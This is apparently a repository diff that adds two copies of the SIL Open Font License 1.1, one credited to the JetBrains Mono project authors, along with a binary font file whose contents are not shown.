+ This license is copied below, and is also available with a FAQ at:
5
+ https://scripts.sil.org/OFL
6
+
7
+
8
+ -----------------------------------------------------------
9
+ SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007
10
+ -----------------------------------------------------------
11
+
12
+ PREAMBLE
13
+ The goals of the Open Font License (OFL) are to stimulate worldwide
14
+ development of collaborative font projects, to support the font creation
15
+ efforts of academic and linguistic communities, and to provide a free and
16
+ open framework in which fonts may be shared and improved in partnership
17
+ with others.
18
+
19
+ The OFL allows the licensed fonts to be used, studied, modified and
20
+ redistributed freely as long as they are not sold by themselves. The
21
+ fonts, including any derivative works, can be bundled, embedded,
22
+ redistributed and/or sold with any software provided that any reserved
23
+ names are not used by derivative works. The fonts and derivatives,
24
+ however, cannot be released under any other type of license. The
25
+ requirement for fonts to remain under this license does not apply
26
+ to any document created using the fonts or their derivatives.
27
+
28
+ DEFINITIONS
29
+ "Font Software" refers to the set of files released by the Copyright
30
+ Holder(s) under this license and clearly marked as such. This may
31
+ include source files, build scripts and documentation.
32
+
33
+ "Reserved Font Name" refers to any names specified as such after the
34
+ copyright statement(s).
35
+
36
+ "Original Version" refers to the collection of Font Software components as
37
+ distributed by the Copyright Holder(s).
38
+
39
+ "Modified Version" refers to any derivative made by adding to, deleting,
40
+ or substituting -- in part or in whole -- any of the components of the
41
+ Original Version, by changing formats or by porting the Font Software to a
42
+ new environment.
43
+
44
+ "Author" refers to any designer, engineer, programmer, technical
45
+ writer or other person who contributed to the Font Software.
46
+
47
+ PERMISSION & CONDITIONS
48
+ Permission is hereby granted, free of charge, to any person obtaining
49
+ a copy of the Font Software, to use, study, copy, merge, embed, modify,
50
+ redistribute, and sell modified and unmodified copies of the Font
51
+ Software, subject to the following conditions:
52
+
53
+ 1) Neither the Font Software nor any of its individual components,
54
+ in Original or Modified Versions, may be sold by itself.
55
+
56
+ 2) Original or Modified Versions of the Font Software may be bundled,
57
+ redistributed and/or sold with any software, provided that each copy
58
+ contains the above copyright notice and this license. These can be
59
+ included either as stand-alone text files, human-readable headers or
60
+ in the appropriate machine-readable metadata fields within text or
61
+ binary files as long as those fields can be easily viewed by the user.
62
+
63
+ 3) No Modified Version of the Font Software may use the Reserved Font
64
+ Name(s) unless explicit written permission is granted by the corresponding
65
+ Copyright Holder. This restriction only applies to the primary font name as
66
+ presented to the users.
67
+
68
+ 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font
69
+ Software shall not be used to promote, endorse or advertise any
70
+ Modified Version, except to acknowledge the contribution(s) of the
71
+ Copyright Holder(s) and the Author(s) or with their explicit written
72
+ permission.
73
+
74
+ 5) The Font Software, modified or unmodified, in part or in whole,
75
+ must be distributed entirely under this license, and must not be
76
+ distributed under any other license. The requirement for fonts to
77
+ remain under this license does not apply to any document created
78
+ using the Font Software.
79
+
80
+ TERMINATION
81
+ This license becomes null and void if any of the above conditions are
82
+ not met.
83
+
84
+ DISCLAIMER
85
+ THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
86
+ EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF
87
+ MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
88
+ OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE
89
+ COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
90
+ INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL
91
+ DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
92
+ FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM
93
+ OTHER DEALINGS IN THE FONT SOFTWARE.
Binary file
@@ -0,0 +1,93 @@
1
+ Copyright 2020 The JetBrains Mono Project Authors (https://github.com/JetBrains/JetBrainsMono)
2
+
3
+ This Font Software is licensed under the SIL Open Font License, Version 1.1.
4
+
5
+ This license is copied below, and is also available with a FAQ at: https://scripts.sil.org/OFL
6
+
7
+
8
+ -----------------------------------------------------------
9
+ SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007
10
+ -----------------------------------------------------------
11
+
12
+ PREAMBLE
13
+ The goals of the Open Font License (OFL) are to stimulate worldwide
14
+ development of collaborative font projects, to support the font creation
15
+ efforts of academic and linguistic communities, and to provide a free and
16
+ open framework in which fonts may be shared and improved in partnership
17
+ with others.
18
+
19
+ The OFL allows the licensed fonts to be used, studied, modified and
20
+ redistributed freely as long as they are not sold by themselves. The
21
+ fonts, including any derivative works, can be bundled, embedded,
22
+ redistributed and/or sold with any software provided that any reserved
23
+ names are not used by derivative works. The fonts and derivatives,
24
+ however, cannot be released under any other type of license. The
25
+ requirement for fonts to remain under this license does not apply
26
+ to any document created using the fonts or their derivatives.
27
+
28
+ DEFINITIONS
29
+ "Font Software" refers to the set of files released by the Copyright
30
+ Holder(s) under this license and clearly marked as such. This may
31
+ include source files, build scripts and documentation.
32
+
33
+ "Reserved Font Name" refers to any names specified as such after the
34
+ copyright statement(s).
35
+
36
+ "Original Version" refers to the collection of Font Software components as
37
+ distributed by the Copyright Holder(s).
38
+
39
+ "Modified Version" refers to any derivative made by adding to, deleting,
40
+ or substituting -- in part or in whole -- any of the components of the
41
+ Original Version, by changing formats or by porting the Font Software to a
42
+ new environment.
43
+
44
+ "Author" refers to any designer, engineer, programmer, technical
45
+ writer or other person who contributed to the Font Software.
46
+
47
+ PERMISSION & CONDITIONS
48
+ Permission is hereby granted, free of charge, to any person obtaining
49
+ a copy of the Font Software, to use, study, copy, merge, embed, modify,
50
+ redistribute, and sell modified and unmodified copies of the Font
51
+ Software, subject to the following conditions:
52
+
53
+ 1) Neither the Font Software nor any of its individual components,
54
+ in Original or Modified Versions, may be sold by itself.
55
+
56
+ 2) Original or Modified Versions of the Font Software may be bundled,
57
+ redistributed and/or sold with any software, provided that each copy
58
+ contains the above copyright notice and this license. These can be
59
+ included either as stand-alone text files, human-readable headers or
60
+ in the appropriate machine-readable metadata fields within text or
61
+ binary files as long as those fields can be easily viewed by the user.
62
+
63
+ 3) No Modified Version of the Font Software may use the Reserved Font
64
+ Name(s) unless explicit written permission is granted by the corresponding
65
+ Copyright Holder. This restriction only applies to the primary font name as
66
+ presented to the users.
67
+
68
+ 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font
69
+ Software shall not be used to promote, endorse or advertise any
70
+ Modified Version, except to acknowledge the contribution(s) of the
71
+ Copyright Holder(s) and the Author(s) or with their explicit written
72
+ permission.
73
+
74
+ 5) The Font Software, modified or unmodified, in part or in whole,
75
+ must be distributed entirely under this license, and must not be
76
+ distributed under any other license. The requirement for fonts to
77
+ remain under this license does not apply to any document created
78
+ using the Font Software.
79
+
80
+ TERMINATION
81
+ This license becomes null and void if any of the above conditions are
82
+ not met.
83
+
84
+ DISCLAIMER
85
+ THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
86
+ EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF
87
+ MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
88
+ OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE
89
+ COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
90
+ INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL
91
+ DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
92
+ FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM
93
+ OTHER DEALINGS IN THE FONT SOFTWARE.